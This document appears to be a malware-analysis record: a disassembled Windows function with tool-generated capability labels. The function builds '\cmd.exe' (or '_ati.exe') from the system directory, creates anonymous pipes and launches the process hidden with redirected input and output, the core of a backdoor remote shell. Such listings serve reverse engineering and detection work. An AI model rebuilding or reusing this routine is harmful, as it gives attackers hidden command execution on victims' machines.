Function at 0x10001000
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Get common file path

Disassembly:
sub esp, 0x27c
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov al, 0x65
lea ecx, [esp + 0x24]
lea ebx, [esi + 4]
push 0
mov byte [esp + 0x19], al
mov byte [esp + 0x1b], al
mov eax, dword [esp + 0x294]
push ecx
push ebx
push esi
mov byte [esp + 0x20], 0x5c
mov byte [esp + 0x21], 0x63
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x26], 0x78
mov byte [esp + 0x28], 0
mov dword [esi + 0x18], eax
mov dword [esp + 0x34], 0xc
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 1
mov dword [esp + 0x30], ebx
call edi
test eax, eax
jne 0x10001084
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x27c
ret 4
lea edx, [esp + 0x24]
push 0
lea eax, [esi + 0xc]
lea ebp, [esi + 8]
push edx
push eax
push ebp
mov dword [esp + 0x2c], ebp
call edi
test eax, eax
jne 0x100010aa
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x27c
ret 4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x85]
mov byte [esp + 0x84], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x189]
mov byte [esp + 0x188], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x10096d90]
cmp eax, 1
je 0x10001131
cmp eax, 2
je 0x10001131
cmp eax, 3
je 0x10001131
lea ecx, [esp + 0x84]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x84]
push ecx
push edx
push eax
call dword [sym.imp.MSVCRT.dll__mbsnbcat]
add esp, 0xc
jmp 0x100011bd
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x84]
push 0x104
push ecx
call ebp
mov edi, str._ati.exe
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [sym.imp.MSVCRT.dll__mbsnbcat]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x84]
push ecx
push str._ati.exe
push edx
call ebx
add esp, 0xc
lea eax, [esp + 0x188]
push 0x104
push eax
call ebp
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x188]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x14]
push ecx
push edx
call ebx
add esp, 0xc
lea eax, [esp + 0x84]
lea ecx, [esp + 0x188]
push eax
push ecx
mov ecx, esi
call fcn.10001260
mov ebx, dword [esp + 0x20]
mov ebp, dword [esp + 0x1c]
lea edx, [esp + 0x40]
mov dword [esp + 0x40], 0x44
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebx]
lea ecx, [esp + 0x30]
lea edx, [esp + 0x40]
push ecx
push edx
mov dword [esp + 0x88], eax
mov dword [esp + 0x84], eax
mov eax, dword [ebp]
push 0
push 0
push 0
mov dword [esp + 0x8c], eax
push 1
push 0
lea eax, [esp + 0xa0]
push 0
push eax
push 0
mov word [esp + 0x98], 0
mov dword [esp + 0x94], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10001236
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x27c
ret 4
mov ecx, dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x34]
push edx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x27c
ret 4